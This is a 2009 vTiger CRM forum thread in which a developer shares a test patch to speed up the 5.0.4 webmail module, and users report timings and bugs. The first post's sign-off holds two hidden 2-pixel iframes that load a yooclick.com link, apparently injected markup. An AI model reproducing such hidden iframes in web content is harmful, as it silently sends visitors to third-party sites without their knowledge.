Performance patch for Webmails on vTiger 5.0.4

edited September 2009 in Help - 5.0.4 Vote Up0Vote Down
Hi guys,

This week I have been working on the webmail slow performances, and finally get a patch out!

Do not try it on your live version yet!!! This is a test release.

You can download it from <!-- m --><a class="postlink" href="http://creadev.net/Webmails-vTiger504">http://creadev.net/Webmails-vTiger504</a><!-- m --> (bottm of the page).

Features:

* Increase significantly performances on all inboxes, especially large ones
* Only retrieve displayed emails instead of the whole list
* Search functionalitie displays results in a 'per page' basis
* Search functionalitie much quicker especially on large results

I will follow discussions here and at <!-- m --><a class="postlink" href="http://creadev.net/forum/5">http://creadev.net/forum/5</a><!-- m -->

What I need now is feedbacks, so play with it and tell me how it behaves on your own test setup.

Bye <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«1

Comments

  • 17 Comments sorted by Votes Date Added
  • i have done a couple of further tests and there are some bugs when using other folders than inbox, but you can still give feedbacks about performances on the inbox folder.

    bye
  • hi guys,

    i have been doing further work on the patch and now it should work properly and fully!

    once again, if you have performance issues with webmail, especially on large inbox, you should give a try to this patch. it just consist of 4 files that you need to replace in vtiger_root/modules/webmails/.

    remember to keep copy of the files replaced in case of an issue! rename them for exemple to listview.phpbackup

    the patch is just about playing with the list view in normal or search mode in webmail so there is not much risk, but still, the test must be done on a test machine first.
    feedbacks needed to validate the patch <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) -->

    also, since i am on it, if people found wrong behaviour in the normal webmail version, tell me, i might be able to work on it quickly.

    bye
  • krem, i appreciate your efforts but frankly i do not see any speed improvements after applying your patch. do you have any further hints?
  • hi balduin,

    thanks for the honesty <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) -->

    if you have an inbox with few emails, the performances won't be much better with this patch, but in the case of a large inbox (5000 mails) their is a significant impact on the speed.

    all i did in this patch is retrieve only the portion of emails visualized, normally the whole inbox is retrieved each time you navigate from page to page in the webmail, so now instead of retrieving 5000 mails, which can take a while, it only retrieves 10 mails(depending on mails per page).

    how many emails do you have in your inbox? if you have a lot, i will look again at the files i posted and see if there is a problem somewhere.

    bye,
    clem
  • clem,
    thank you for making it clear to me. indeed i had only a few emails in my test account.
    but in any case the overall performace is not satisfying.
  • on my setup (centos 5 + proliant dl380 + 4gb of ram) i retrieve 10 mails in 3-4 sec, and display a mail body in 1-2 sec, it doesn't compete with outlook thunderbird or gmail, but it is workable.

    in my point of view, the only way to make the webmail module faster is to have a more efficiant php/ajax code to handle the data retrieved. i will try to have a look into it...

    bye,
    clem
  • hi,

    i applied teh patch and a big improvemnt but still about 4 seconds to load a mail is this going to be improved on?

    my test pc is athlon 2.5 1250 mb ram windows xp sp2

    if the the webmail speed mail can be improved on that would be the final pice in the puzzle for me to go with vtiger a as crm solution

    but yes a big improvment when load the patch from about 15 sec to 3-5 sec

    the pop mailbox i am testing has 750 mails in it.

    any new patches let us know....

    great work

    thanks

    ken
  • the patch increases the performance slightly, thanx for that.

    but now i can't see the sent e-mails to leads, to contacts, to accounts and users. when i click on the folder the page comes back blank.

    try to see what the problem is.

    thanx
  • thanks a lot for this patch - it helps me big time. with about 500 mails inbox my webmail was nearly unusable (imap + gmail) - it took about 20 secs to open lately (3 ghz machine, 2 gigs ram) - now its about 2 to 3 seconds - thats ok.

    thanks a lot again <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->)
  • i am trying this now in the lab: ubuntu 8.04, 1g ram, dell sc420 intel p4 ht 2.8ghz. not a super strong box, but this is a lab environment.
Sign In or Register to comment.